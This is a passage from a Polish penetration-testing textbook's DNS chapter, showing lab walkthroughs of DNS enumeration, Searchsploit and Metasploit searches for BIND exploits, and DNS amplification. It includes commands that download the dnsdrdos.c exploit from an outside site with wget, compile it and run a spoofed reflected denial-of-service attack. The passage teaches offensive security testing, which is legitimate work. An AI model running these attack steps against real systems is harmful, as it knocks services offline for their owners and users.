zamachem uzyskać wszystkie dostępne informacje, to wiedz, że istnieją też inne sposoby radzenia
sobie w takiej sytuacji. Jak już wcześniej widzieliśmy, takie narzędzia jak Recon-ng mogą zostać
użyte do utworzenia listy hostów metodami siłowymi. To rozwiązanie wysyła zapytania do rzeczy-
wistych serwerów DNS. Jedną z metod enumerowania nazw hostów dla wybranego serwera nazw
(nieważne, czy jest on wirtualny, czy rzeczywisty) jest użycie narzędzia Fierce.

Fierce
Tego narzędzia można użyć do pozyskania informacji z naszego wirtualnego serwera nazw. Za po-
mocą polecenia fierce --help można uzyskać pomoc i opis jego działania. Poniżej prezentujemy
prosty przykład użycia tego programu:
fierce -dnsserver 192.168.56.101 -dns nsa.gov
Trying zone transfer first...

Unsuccessful in zone transfer (it was worth a shot)

Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...

Nope. Good.
Now performing 2280 test(s)...
10.1.0.100 xkeyscore.nsa.gov
10.1.0.101 sigint.nsa.gov
10.1.0.102 fw.nsa.gov
10.1.0.103 vpn.nsa.gov

3681988c430c7fe1e8567c4e2f281f7b
3
140 Rozdział 5  System DNS

10.1.0.104 webmail.nsa.gov
10.1.0.105 firewall.nsa.gov
10.1.0.25 mail1.nsa.gov
10.1.0.26 mail2.nsa.gov
10.1.0.50 ns1.nsa.gov
10.1.0.51 ns2.nsa.gov
10.1.0.80 fedora.nsa.gov
10.1.0.80 web.nsa.gov
10.1.0.80 www.nsa.gov

Subnets found (may want to probe here using nmap or unicornscan):

10.1.0.0-255 : 13 hostnames found.

Done with Fierce scan: http://ha.ckers.org/fierce/

Found 13 entries.

Have a nice day.

Jak widać, program początkowo próbuje wykonać żądanie transfery strefy, które kończy się
niepowodzeniem. Następnie przystępuje do siłowego sprawdzania typowych nazw hostów. Na ko-
niec podaje jeszcze wskazówkę, że w zakresie adresów od 10.1.0.0 do 10.1.0.255 mogą znajdować
się kolejne hosty. Podczas pracy dla swojego klienta na pewno należałoby teraz przeprowadzić ko-
lejne kontrole, aby spróbować wyszukać następne hosty.

Dnsrecon
Dnsrecon to według strony man poświęconej temu programowi „narzędzie do enumerowania i ska-
nowania”. Wykonanie prostego skanowania może zostać uruchomione poniższym poleceniem:
# dnsrecon -n 192.168.56.101 -d nsa.gov

Wyniki działania programu badającego nasz wirtualny serwer nazw wyglądają następująco:
[*] Performing General Enumeration of Domain: nsa.gov
[-] DNSSEC is not configured for nsa.gov
[*] SOA ns1.nsa.gov 10.1.0.50
[*] NS ns1.nsa.gov 10.1.0.50
[*] NS ns2.nsa.gov 10.1.0.51
[*] MX mail1.nsa.gov 10.1.0.25
[*] MX mail2.nsa.gov 10.1.0.26
[*] Enumerating SRV Records
[-] No SRV Records Found for nsa.gov
[+] 0 Records Found

Program zwrócił dane kilku hostów i ich adresów IP, ale ta lista jest znacznie krótsza od wyge-
nerowanej przez Fierce. Po prostu ten ostatni program używa znacznie dłuższej listy słów.

Dnsenum
Dnsenum to jeszcze jedno narzędzie do enumerowania informacji systemu DNS. Ten program nie
ma swojej strony man, ale jeżeli zostanie uruchomiony bez żadnych parametrów (po prostu dnse-
num), to wyświetli opis sposobu używania go. Prosty przykład zastosowania tego narzędzia może
wyglądać następująco:
dnsenum --dnsserver 192.168.56.101 nsa.gov

3681988c430c7fe1e8567c4e2f281f7b
3
Narzędzia do gromadzenia informacji 141

Po zakończeniu pracy program wypisze poniższe wyniki:

dnsenum VERSION:1.2.4

----- nsa.gov -----

Host's addresses:
_________________

Name Servers:
_____________

ns1.nsa.gov. 3600 IN A
10.1.0.50
ns2.nsa.gov. 3600 IN A
10.1.0.51

Mail (MX) Servers:

__________________

mail1.nsa.gov. 3600 IN A
10.1.0.25
mail2.nsa.gov. 3600 IN A
10.1.0.26

Trying Zone Transfers and getting Bind Versions:

________________________________________________

unresolvable name: ns1.nsa.gov at /usr/bin/dnsenum line 841.

Trying Zone Transfer for nsa.gov on ns1.nsa.gov ...

AXFR record query failed: no nameservers
unresolvable name: ns2.nsa.gov at /usr/bin/dnsenum line 841.

Trying Zone Transfer for nsa.gov on ns2.nsa.gov ...

AXFR record query failed: no nameservers

brute force file not specified, bay.

Program Dnsenum próbował zrealizować żądanie transferu strefy, wysyłając je do dwóch

serwerów nazw o adresach 10.1.0.50 i 10.1.0.51, ale oba żądania się nie powiodły, ponieważ
pod tymi adresami nie działa żaden serwer nazw (no chyba że przypadkiem masz w swojej
wewnętrznej sieci serwery nazw o takich właśnie adresach). Dnsenum może próbować siłowo
wyszukiwać nazwy hostów we wskazanych domenach, co bywa dobrym rozwiązaniem, jeżeli
nie udaje się wykonać transferu strefy. W tym przypadku nie podaliśmy jednak programowi
pliku z danymi do ataku siłowego. W tym celu należałoby użyć opcji -f lub --file. W takim
pliku powinna znajdować się lista subdomen podobna do tej, którą widzieliśmy w module
brute_hosts dla programu Recon-ng.
Teraz chyba już wiesz, jak przedstawione tu narzędzia mogą przydawać się podczas szybkiego
zbierania pewnych informacji i przeprowadzania działań rutynowego testowania serwerów DNS.

3681988c430c7fe1e8567c4e2f281f7b
3
142 Rozdział 5  System DNS

A CO Z NARZĘDZIEM X?

Dobre narzędzia są potrzebne w każdym rzemiośle, również podczas hakowania. Z drugiej

strony nie można pozwolić na to, żeby dostępne narzędzia ograniczały skuteczność naszych
działań. Jak można wywnioskować z podanych tu przykładów, nie wszystkie narzędzia działają
równie skutecznie. Niektóre z nich podają nam informacje, których nie uzyskamy od innych.
Część z nich prezentuje informacje w dość nieoczekiwanym formacie. Warto zatem upewnić się,
że dobrze znamy sposób działania używanych narzędzi. Na początek należy przejrzeć dostępne
strony man, ale później może okazać się, że niezbędne będzie przejrzenie kodu źródłowego da-
nego programu. Niewykluczone, że taki program zostanie wtedy rozbudowany albo stanie się
bazą dla Twojego własnego skryptu. Jeżeli nie możesz znaleźć narzędzia, które wykonałoby dla
Ciebie odpowiednią pracę, to napisz sobie takie narzędzie!

Poszukiwanie podatności i exploitów

Do tej pory zebraliśmy już całkiem sporo informacji na temat wybranego celu, używając do tego
metod OSINT i wysyłając zapytania do serwerów nazw obsługujących sieć naszego celu. Wiemy
już, że serwery nazw są obsługiwane przez programy BIND, a nawet udało się nam uzyskać numer
wersji tych programów. Po zakończeniu tego rekonesansu powinniśmy przejść do poszukiwania
znanych podatności i exploitów pasujących do wykrytego oprogramowania w odpowiedniej wersji.
Pamiętaj też, że exploit może powstać tylko wtedy, gdy najpierw zostanie wykryta podatność.
Czasami wykrywane są pewne podatności, ale nie istnieją żadne exploity, które by je wykorzysty-
wały. Podczas wykonywania testów penetracyjny bardzo ważne jest, żeby skontrolować każde wy-
kryte oprogramowanie, sprawdzając, czy jest ono aktualizowane i czy zastosowano w nim najśwież-
sze łatki. W sieci można szukać exploitów dokładnie tak samo, jak szuka się wszystkich innych
rzeczy. Oczywiście powstały też specjalne narzędzia, które pozwalają uprościć i to zadanie.

Searchsploit
Podczas poszukiwania podatności i exploitów można wykorzystywać te same rozwiązania co przy
zbieraniu informacji na temat firmy. Informacji należy szukać w różnych miejscach i nie polegać
wyłącznie na pojedynczym źródle danych lub jednej wyszukiwarce. Po tym wstępie możemy po-
wiedzieć, że istnieje pewne bardzo skuteczne narzędzie, które przeszukuje tylko jedną bazę danych.
Ta baza jest próbą zebrania w jednym miejscu informacji o exploitach pobranych z jak największej
liczby źródeł. Wspomniane narzędzie to Searchsploit, które jest domyślnie instalowane w systemie
Kali Linux.
Searchsploit to narzędzie, którego można używać do poszukiwania exploitów dla znanych po-
datności. Teoretycznie znane podatności powinny zostać szybko załatane, ale w rzeczywistości nie-
zwykle często pozostają one otwarte przez długi czas. Searchsploit to proste narzędzie firmy Offen-
sive Security, które oferuje bardzo rozbudowane możliwości. Przeszukuje ono lokalną kopię bazy
danych z exploitami, którą można pobrać z adresu www.exploit-db.com. Baza danych programu
Searchsploit powinna być regularnie aktualizowana, bo tylko w ten sposób możemy mieć pewność,
że przeszukujemy listę najnowszych exploitów. Samo poszukiwanie polega na prostym wprowadzeniu

3681988c430c7fe1e8567c4e2f281f7b
3
Poszukiwanie podatności i exploitów 143

nazwy interesującego nas oprogramowania i uzupełnieniu jej o numer wersji. Wiemy już, że serwer
nazw działa pod kontrolą programu BIND, a zatem możemy użyć tak prostego polecenia:
searchsploit bind

Jak można się domyślać, po wprowadzeniu do przeglądarki tak ogólnego zapytania otrzymamy
ogromną liczbę wyników słabo powiązanych z interesującym nas tematem. Podobny efekt zoba-
czymy też w tym przypadku. Dobrze jest zatem spróbować zawęzić zakres poszukiwań. Za opro-
gramowanie serwera BIND9 odpowiedzialne jest konsorcjum ISC (Internet Systems Consortium),
dlatego można spróbować użyć w zapytaniu parametrów isc bind. Można też spróbować podać
numer wersji oprogramowania, ale w tym narzędziu nie zawsze daje to pożądane wyniki.
searchsploit isc bind
ISC BIND (Linux/BSD) - Remote Buffer Overflow (1)
ISC BIND (Multiple OSes) - Remote Buffer Overflow (2)
ISC BIND 4.9.7 -T1B - named SIGINT / SIGIOT Symlink
ISC BIND 4.9.7/8.x - Traffic Amplification and NS Route Discovery
ISC BIND 8 - Remote Cache Poisoning (1)
ISC BIND 8 - Remote Cache Poisoning (2)
ISC BIND 8.1 - Host Remote Buffer Overflow
ISC BIND 8.2.2 / IRIX 6.5.17 / Solaris 7.0 - NXT Overflow / Denial of Service
ISC BIND 8.2.2-P5 - Denial of Service
ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (1)
ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (2)
ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (3)
ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (4)
ISC BIND 8.3.x - OPT Record Large UDP Denial of Service
ISC BIND 9 - Denial of Service
ISC BIND 9 - Remote Dynamic Update Message Denial of Service (PoC)
ISC BIND 9 - TKEY (PoC)
ISC BIND 9 - TKEY Remote Denial of Service (PoC)
Microsoft Windows Kernel - 'win32k!NtQueryCompositionSurfaceBinding'
Stack Memory Disclosure
Zabbix 2.0.5 - Cleartext ldap_bind_Password Password Disclosure (Metasploit)

Jak widać na tym skróconym wydruku, istnieje wiele różnych exploitów dla serwerów BIND,
a cztery z nich dotyczą wersji 9. Z uzyskanych wcześniej informacji wiemy, że interesujące nas ser-
wery działają pod kontrolą wersji BIND 9.8.1. Oznacza to, że są one podatne na działanie czterech
exploitów. Jeżeli numer wersji oprogramowania się zgadza i podejrzewasz, że dany serwer nie zo-
stał jeszcze załatany, to możesz przystąpić do wykorzystania wybranego exploitu. Mimo to należy
zachować ostrożność podczas testowania komputerów swojego klienta. Przed uruchomieniem
exploitu musisz wiedzieć, jak on działa, żeby nie spowodować jakichkolwiek zniszczeń. Jest to tym
bardziej ważne, gdy testy przeprowadzasz w środowisku produkcyjnym. Zawsze należy wstępnie
sprawdzić działanie exploitu we własnej maszynie wirtualnej, w której działać będzie ta sama wersja
oprogramowania co w testowanym systemie. Cała procedura ataku powinna być monitorowana za
pomocą programu Wireshark, a po jego zakończeniu należy ocenić uzyskane efekty. Jeżeli taki atak
ma zostać przeprowadzony w środowisku programistycznym naszego klienta, to taka wstępna kon-
trola może nie być konieczna. To wszystko należy jednak skonsultować z klientem i nie uruchamiać
lekkomyślnie exploitów w jego środowisku produkcyjnym. Wyszukiwarka Searchsploit ma kilka
sposobów wyświetlania informacji na temat poszczególnych exploitów. Jeżeli program zostanie
uruchomiony bez żadnych parametrów, to wyświetli ogólne instrukcje używania go.

3681988c430c7fe1e8567c4e2f281f7b
3
144 Rozdział 5  System DNS

Inne źródła
Strona www.securityfocus.com jest świetnym miejscem do wyszukiwania różnych podatności.
Można tutaj przeglądać (i zasubskrybować) wpisy z listy mailingowej Bugtrack, która poświęcona
jest analizom problemów z bezpieczeństwem komputerów. Aby znaleźć informacje o podatno-
ściach serwerów BIND, przejdź na stronę www.securityfocus.com/vulnerabilities i z listy rozwijanej
Vendors wybierz pozycję ISC, a następnie wybierz BIND i wprowadź numer wersji. Na podobnej
zasadzie możesz też szukać podatności w oprogramowaniu innych producentów. Jak widać, do-
stępne są informacje na temat wielu różnych podatności, choć nie dla każdej z nich przygotowany
został jakiś exploit.
Podobne poszukiwania można też realizować za pomocą strony Exploit Database, ale odpo-
wiednio aktualizowany program Seachsploit i tak przejrzy jej zawartość. Jeżeli jednak wolisz ko-
rzystać z ładnego interfejsu na stronie WWW, to na pewno warto zajrzeć na tę stronę, choćby po
to, żeby zapoznać się z całym procesem. W przeglądarce można też uzyskać informacje na temat
poszczególnych exploitów, a nawet uzyskać ich kod źródłowy.
Kolejnym ważnym źródłem danych jest strona WWW producenta oprogramowania. Na więk-
szości takich stron znajdziesz miejsce, w którym pojawiają się informacje o wykrytych podatnościach
i właściwych dla nich łatkach. W związku z tym powinniśmy odwiedzić teraz stronę www.isc.org.
Przeglądając opisy kolejnych wydań wersji serwera, dobrze jest zwrócić szczególną uwagę na infor-
macje o błędach i poprawkach.
Jeżeli próbujesz wykryć całkiem nową podatność (mowa tu o podatności typu zero-day, czasami
zapisywanej też jako 0-day), to musisz najpierw przejrzeć wszystkie znane podatności. Nie chcemy
przecież tracić czasu na dokumentowanie wykrytego błędu i przygotowywanie kodu exploitu, aby
później odkryć, że nasza podatność jest już publicznie opisana i istnieją dla niej różne exploity.
Przydaje się też poznanie historii różnych błędów, aby określić obszary aplikacji, w których nie do-
chowano należytej staranności, więc mogą się w nich ukrywać kolejne błędy. Na przykład w systemie
DNS można interesować się obsługą nietypowych rekordów zasobów. Na stronie hacker.house/labs
znajdziesz kilka exploitów przygotowanych i udostępnionych przez firmę Hacker House.
Wyszukanie nazwy i numeru wersji interesującego nas oprogramowania jest bardzo przydatne,
ale to nie jedyna metoda szukania podatności. Zazwyczaj konieczne jest prowadzenie dalszego ska-
nowania i sondowania systemu. Aby uzyskać pożądany efekt, często konieczne jest wykonanie całego
ciągu ataków lub wykorzystanie wielu pomniejszych błędów w systemie. Za pomocą metod enu-
meracji można wyszukiwać w systemie słabości i pozyskiwać w ten sposób jak najwięcej informacji.

Wzmocnienie sieciowego ruchu DNS

Atak wzmocnienia sieciowego ruchu DNS (ang. DNS traffic aplification) jest jedną z form ataku typu
denial-of-servie (odmowa świadczenia usługi), które są bardzo popularne wśród różnych grup hak-
tywistów. Wykorzystuje on podstawową mechanikę systemu DNS. Gdy użytkownik wysyła nor-
malne zapytanie DNS, to zwykle jest ono niewielkie i chodzi w nim o podanie pojedynczej infor-
macji, takiej jak rekord A lub adres IP. Aby wzmocnić ruch sieciowy, można zażądać od serwera nazw
podania wielu różnych informacji. Idealnie byłoby, gdyby te informacje wymagały wykonania
wielu wyszukiwań rekursywnych w ramach serwera typu open resolver, czyli serwera dostępnego

3681988c430c7fe1e8567c4e2f281f7b
3
Metasploit 145

do normalnego użycia dla każdej osoby w internecie. Można tego dokonać, wysyłając żądanie po-
dania rekordu ANY albo rekordu, który będzie zwracał odpowiedź większą niż samo zapytanie.
W ramach przykładu użyjemy programu Dig, podając mu poniższe parametry:
dig @192.168.56.103 nsa.gov ANY

Aby zmienić takie zapytanie w atak, trzeba w pakiecie UDP zastąpić adres IP naszego komputera
adresem IP komputera naszej ofiary. Takie działanie nazywane jest podmianą (ang. spoofing) adresu IP,
w efekcie czego serwer wyśle odpowiedź w pakiecie UDP nie do nas, ale do naszej ofiary. To samo dzia-
łanie trzeba powtarzać tak często, jak to możliwe, aby system naszej ofiary został zasypany danymi,
o które wcale nie prosił. Takie ataki często przeprowadzane są za pomocą tak zwanych botnetów, czyli
zbioru komputerów przejętych przez hakera, których właściciele nawet nie wiedzą, że ktoś wła-
mał się do ich systemów. Raz wysłane zapytanie można też skierować do kilku różnych serwerów,
aby na komputer ofiary trafiło jeszcze więcej ruchu sieciowego. Istnieją też inne metody sprawdze-
nia możliwości wzmacniania ruchu sieciowego. Jedną z nich jest użycie frameworka Metasploit.

Metasploit
Framework Metasploit jest narzędziem, którego będziemy często używać w dalszej części tej książki.
Można go używać do wyszukiwania exploitów, przeglądania informacji na ich temat i w końcu do
ich uruchamiania. To wszystko jest dostępne za pośrednictwem przyjaznego interfejsu wiersza po-
leceń. Jest to framework modularny, podobny pod tym względem do Recon-ng. Konsolę frame-
worku Metasploit (o której będziemy mówić po prostu Metasploit) można uruchomić za pomocą
poniższego polecenia:
msfconsole

Załadowanie narzędzia chwilę potrwa, a gdy będzie już gotowe, wypisze ogólne informacje
o sobie i wyświetli znak zachęty:
=[ metasploit v4.17.26-dev ]
+ -- --=[ 1829 exploits - 1037 auxiliary - 318 post ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >

Za pomocą poniższego polecenia możesz przejrzeć wszystkie aktualnie załadowane exploity:

show exploits

Praktyczniejszym sposobem wyszukiwania exploitów jest jednak uruchomienie szukania

w sposób znany już z programu Searchsploit. W ramach uczenia się użytkowania Metasploita
możemy zatem przyjrzeć się modułowi wzmacniania ruchu DNS. Najpierw należy wykonać po-
niższe wyszukiwanie:
search dns_amp
Matching Modules
================

Name Disclosure Date Rank Check Description

---- --------------- ---- ----- -----------
auxiliary/scanner/dns/dns_amp normal Yes DNS Amplification Scanner

3681988c430c7fe1e8567c4e2f281f7b
3
146 Rozdział 5  System DNS

Wprowadź teraz polecenie use, podając za nim pełną ścieżkę do modułu, którego chcesz użyć.
Framework Metasploit obsługuje tutaj funkcję uzupełniania po naciśnięciu klawisza tabulacji.
Możesz też po prostu skopiować i wkleić ścieżkę do interesującego Cię modułu.
use auxiliary/scanner/dns/dns_amp

Po skutecznym wybraniu modułu znak zachęty Metasploita zmieni się następująco:

msf auxiliary(scanner/dns/dns_amp) >

Wpisanie teraz polecenia show info spowoduje wyświetlenie informacji na temat aktualnie za-
ładowanego modułu. To bardzo ważne polecenie, ponieważ pozwala uzyskać więcej informacji na
temat załadowanego właśnie exploitu. Polecenia show można użyć również w połączeniu z innymi
argumentami, na przykład z argumentem options. Poniżej przedstawiamy informacje na temat
załadowanego przed chwilą modułu:
Name: DNS Amplification Scanner
Module: auxiliary/scanner/dns/dns_amp
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
xistence <xistence@0x90.nl>

Check supported:
Yes

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
DOMAINNAME isc.org yes Domain to use for the DNS request
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
QUERYTYPE ANY yes Query type(A, NS, SOA, MX, TXT, AAAA, RRSIG, DNSKEY, ANY)
RHOSTS yes The target address range or CIDR identifier
RPORT 53 yes The target port (UDP)
SNAPLEN 65535 yes The number of bytes to capture
THREADS 10 yes The number of concurrent threads
TIMEOUT 500 yes The number of seconds to wait for new data

Description:
This module can be used to discover DNS servers which expose
recursive name lookups which can be used in an amplification attack
against a third party.

References:
https://cvedetails.com/cve/CVE-2006-0987/
https://cvedetails.com/cve/CVE-2006-0988/

Ten moduł nie jest żadnym exploitem, ale raczej skanerem. Na powyższym wydruku można
zobaczyć informację o autorze tego modułu, jego krótki opis oraz dodatkowe odnośniki. Jeżeli
chcesz się dowiedzieć więcej o wzmacnianiu ruchu DNS, to dobrze jest skorzystać z obu podanych
tu adresów. Wyświetlana jest też lista różnych opcji, z których część ma dość jasne znaczenie,

3681988c430c7fe1e8567c4e2f281f7b
3
Metasploit 147

a część wymaga dodatkowych wyjaśnień. Na szczęście do skorzystania z tego skanera nie jest ko-
nieczna znajomość wszystkich jego opcji (choć zdecydowanie zalecamy się z nimi zapoznać). Teraz
skupimy się tylko na tych, które są wymagane. To tym opcjom trzeba nadać jakąś wartość, żeby
moduł mógł zostać uruchomiony. Jeżeli którąś z tych opcji pominiemy, to moduł może się dziwnie
zachowywać, a najprawdopodobniej w ogóle nie uda się go uruchomić. Za pomocą polecenia show
options można uzyskać wyłącznie informacje o opcjach modułu, z pominięciem wszystkich pozo-
stałych danych.
Aby zmienić wartość opcji, należy skorzystać z poniższego polecenia:
set <NazwaOpcji> <Wartość>

Aby opcji DOMAINNAME przypisać wartość nsa.gov, należy użyć poniższego polecenia. (Zauważ,
że celem tego skanowania będzie nasz wirtualny serwer nazw, ponieważ całość działa w odizolowanej
sieci. W efekcie nie uda się wykonać rekursywnego żądania DNS, a to oznacza, że musimy użyć
zapytania o domenę znaną już naszemu serwerowi).
set DOMAINNAME nsa.gov

Metasploit potwierdzi każdą opcję, której wartość zmieniamy:

DOMAINNAME => nsa.gov
msf auxiliary(scanner/dns/dns_amp) >

Aby zademonstrować działanie tego modułu, musimy zmienić wartość jeszcze jednej opcji.
Chodzi tu o opcję RHOSTS. Pozostałe opcje albo nie są wymagane, albo mają już wartości do-
myślne, które odpowiadają naszym wymaganiom. W opcji RHOSTS zapisywane są nazwy zdalnych
hostów, które staną się celem działania tego modułu. Można tutaj podać kilka różnych celów, ale
w naszym przypadku całkowicie wystarczy adres IP wirtualnego serwera nazw.
set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101

Przed uruchomieniem modułu, szczególnie jeżeli chodzi o exploit, dobrze jest jeszcze raz spraw-
dzić wartości wszystkich opcji. Aby uruchomić sam moduł, należy wprowadzić polecenie run lub
exploit. Moduł wypisze własne komentarze opisujące wykonywane kroki i ostatecznie poda poziom
wzmocnienia, jaki można uzyskać.
[*] Sending DNS probes to 192.168.56.101->192.168.56.101 (1 hosts)
[*] Sending 67 bytes to each host using the IN ANY nsa.gov request
[+] 192.168.56.103:53 - Response is 252 bytes [3.76x Amplification]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Nasz wirtualny serwer nazw nie został skonfigurowany jako serwer otwarty i rekursywny.
Oznacza to, że nie będzie odpytywał innych serwerów, aby znaleźć informacje na temat domeny
leżącej poza jego strefą. Zwraca on wyłącznie rekordy powiązane z domeną nsa.gov. To dobrze (dla
klienta), bo właśnie takiego zachowania powinno się oczekiwać od klienckiego serwera nazw. Jeżeli
byłby to serwer otwarty, to prawdopodobnie wzmocnienie poziomu ruchu byłoby jeszcze większe,
ponieważ zacząłby on wysyłać żądania dotyczące innych domen. (Wystarczy spróbować użyć pro-
gramu Dig, aby wysłać żądanie ANY dla domeny google.com. W odpowiedzi otrzymasz naprawdę
sporo danych).

3681988c430c7fe1e8567c4e2f281f7b
3
148 Rozdział 5  System DNS

Firmy zwykle mają osobny serwer DNS, który jest używany na potrzeby wychodzących zapy-
tań DNS i nie powinien być publicznie dostępny. Istnieją też inne metody zapobiegania tego
rodzaju atakom, na przykład polegające na ograniczeniu liczby odpowiedzi wysyłanych w określo-
nym czasie albo na korzystaniu z usług dostawców internetu, którzy mogą sprawdzać adresy IP
pakietów DNS. Więcej informacji na temat wzmacniania ruchu sieciowego znajdziesz pod adresem
https://us-cert.cisa.gov/ncas/alerts/TA13-088A.

CZYM JEST ATAK DOS?

Atak DoS
Ataki DoS (Denial of Service — odmowa świadczenia usługi) nie są związane wyłącznie z syste-
mem DNS. Atak typu DoS ma na celu sprawić, że wybrany serwer nie będzie w stanie realizować
swoich zadań. Najczęściej polega on na wysyłaniu wielu spreparowanych żądań, przez co serwer
nie jest w stanie nadążyć za przychodzącymi żądaniami, a co za tym idzie — nie może poprawnie
obsłużyć poprawnych żądań od użytkowników. Wyobraź sobie stację kolejową w małym mia-
steczku o godzinie 8 rano. Zaczynają się właśnie godziny szczytu. Taka stacja jest podobna do
serwera i świadczy swoim klientom pewne usługi. Możemy uniemożliwić klientom skorzystanie
z tych usług, jeżeli udałoby się nam sprawić, że spora grupa ludzi pojawi się na stacji na 5 minut
przed godziną największego natężenia ruchu. Nasi ludzie mogą ustawić się w kolejce przed kasą
biletową i nie ma tu znaczenia, czy rzeczywiście będą kupować bilety. Chodzi o to, że uniemoż-
liwiają normalnym klientom zakupienie biletu i skorzystanie z pociągów.
Porównując tę sytuację z systemem DNS: chodzi o wysłanie zapytań do serwera nazw, które
zostaną odrzucone. Można tego dokonać, wysyłając do serwera nazw wiele różnych zapytań.
Różne rodzaje ataków z tej rodziny wyróżniane są za pomocą odpowiednich przedrostków.

Atak DDoS
Atak DDoS (Distributed Denial of Service — rozproszony atak odmowy świadczenia usługi) wystę-
puje wtedy, gdy blokujący ruch sieciowy pochodzi z wielu różnych źródeł, a nie tylko z jednego
komputera. Zablokowanie adresu IP pojedynczego połączenia przychodzącego nie jest skom-
plikowane, ale podobne potraktowanie tysiąca adresów może sprawiać już problemy. Atakujący
często korzystają z botnetów (sieci przejętych wcześniej komputerów) i za ich pomocą przepro-
wadzają ataki DDoS. Jeżeli wrócimy do naszego przykładu ze stacją kolejową, to atak rozpro-
szony polegałby na przybyciu podobnych grup ludzi na każdą ze stacji, na których zatrzymuje
się bardzo popularny pociąg, a nie tylko na jedną. W ten sposób można by spowodować wyłą-
czenie usługi w całej sieci kolejowej. Na podobnej zasadzie działają ataki DDoS.

Atak DRDoS
Atak DRDoS (Distributed Reflected Denial of Service — rozproszony, odbity atak odmowy świad-
czenia usługi) ma miejsce w przypadku, gdy atakujący zachowuje się tak, jakby sam był celem
swojego ataku, i wysyła żądania do sporej liczby komputerów. Takie spreparowane żądania za-
wierają jednak adres IP właściwego celu ataku, przez co wyglądają tak, jakby zostały przez niego
przysłane. Odpowiedzi na takie spreparowane żądania są zatem wysyłane do wskazanego kom-
putera, a ten jest zalewany ogromną falą ruchu sieciowego. Można to porównać do sytuacji,
w której atakujący rozwiesza w strategicznych miejscach plakaty mówiące o darmowych bile-
tach dla wszystkich podróżnych, którzy pojawią się na stacji o godzinie 8 rano.

3681988c430c7fe1e8567c4e2f281f7b
3
Przeprowadzanie ataku DoS 149

Przeprowadzanie ataku DoS

Po znalezieniu serwera DNS, którego można użyć do wzmacniania ruchu sieciowego, możesz
wykorzystać go do przeprowadzania ataków DoS. Można to zrobić na wiele różnych sposobów, ale
jednym z najprostszych jest znalezienie napisanego przez kogoś innego exploitu i wykorzystanie go.
Przyjrzyjmy się teraz takiemu exploitowi napisanemu przez Noptriksa z firmy NullSecurity. Noptrix
jest doskonałym hakerem znanym z napisanych przez siebie narzędzi ofensywnych. Sam exploit
można też pobrać ze strony Hacer House: www.hackerhousebook.com/files/dnsdrdos.c.
To program napisany w języku C, który trzeba najpierw skompilować. Pobieranie skryptów,
przenoszenie i kompilowanie ich należy do codziennych prac hakera. Jeżeli nie umiesz tego zrobić
z poziomu wiersza poleceń, poniżej przedstawiamy kilka porad. Jeżeli wiesz, gdzie znajduje się
dany plik, to możesz pobrać go za pomocą narzędzia Wget.
wget --user=student --password=student https://www.hackerhousebook.com/files/dnsdrdos.c

Aby przejrzeć zawartość pobranego pliku, możesz użyć polecenia cat (skrót od słowa „conca-
tenate”) lub less (program działający podobnie do more; więcej informacji na ich temat znajdziesz
na stronach man). Przed skompilowaniem i uruchomieniem nieznanego sobie programu dobrze
jest zapoznać się z jego kodem źródłowym. (Nie będziemy go tutaj prezentować, bo jest nieco za długi).
cat dnsdrdos.c

Sam program można skompilować za pomocą kompilatora gcc, używając do tego poniższego
polecenia. W efekcie wygenerowany zostanie nowy plik o nazwie dnsdrdos.
gcc dnsdrdos.c -o dnsdrdos

Tak powstały program możesz uruchomić w ten sposób:

./dnsdrdos

Niestety uzyskasz tylko komunikat o błędzie, ponieważ program wymaga podania pewnych
argumentów. Wymagania programu możesz szybko sprawdzić, podając tylko argument -H.
/dnsdrdos -H

Program wymaga podania pliku tekstowego zawierającego listę serwerów DNS. Użyj swojego
ulubionego edytora tekstu, aby utworzyć taki plik, i wpisz w nim nazwy serwerów umożliwiających
stosowanie zapytań otwartych. Chodzi tu o serwery DNS pozwalające na stosowanie rekursywnych
zapytań o zewnętrzne domeny, a w naszym przypadku użyjemy tylko przykładowego serwera.
vin dns_servers.txt

Gdy już wszystko zostanie przygotowane, możesz uruchomić atak, wprowadzając poniższe
polecenie:
./dnsdrdos -f dns_servers.txt -s <AdresIP> -d nsa.gov -l 20

Możesz wypróbować działanie tego exploitu, uruchamiając atak DoS na własną maszynę wir-
tualną Kali Linux. Oczywiście nie będzie to prawdziwy atak DDoS, ponieważ do dyspozycji mamy
tylko jeden serwer nazw (co oznacza, że atak nie będzie rozporoszony), ale już to daje nam pojęcie,
jak łatwo ktokolwiek z minimalną wiedzą może na pewien czas zablokować serwery zaatakowanej
organizacji. Taka osoba może uruchomić swój atak z wielu komputerów jednocześnie, używać

3681988c430c7fe1e8567c4e2f281f7b
3
150 Rozdział 5  System DNS

wielu otwartych serwerów nazw, aby całkowicie zablokować serwery przychodzącym ruchem sie-
ciowym. To nie jest jedyny system lub protokół, którego można użyć do przeprowadzenia ataków
DoS. Bardzo często używane są w tym celu protokoły NTP (Network Time Protocol) albo SSDP
(Simple Service Discovery Protocol), ponieważ one również korzystają z protokołu UDP. Aby lepiej
poznać mechanizm działania tego ataku, można podejrzeć pracę procesu dnsdrdos za pomocą pro-
gramu Wireshark i zobaczyć, jak przesyłane są pakiety danych.

Ataki DoS we frameworku Metasploit

Wcześniejsze poszukiwania dla hasła isc bind w programie Searchsploit ujawniły kilka istnieją-
cych exploitów, które działają dla wersji 9. serwera BIND. Jeden z nich wykorzystamy teraz, aby
pokazać, co się dzieje, gdy serwer nazw zostanie bezpośrednio zaatakowany exploitem typu DoS.
Tym razem nasz exploit będzie atakował bezpośrednio wybrany serwer nazw. Jeden z exploitów,
jakie znaleźliśmy za pomocą programu Searchsploit, nazywa się „TKEY Remote Denial of Service”.
TKEY (transaction key — klucz transakcji) to jeden z rekordów zasobów, taki jak A, MX lub TXT. Ten
rodzaj rekordu używany jest na potrzeby uwierzytelniania. (Więcej informacji na ten temat znaj-
dziesz w dalszej części tego rozdziału, w podrozdziale „DNSSEC”).
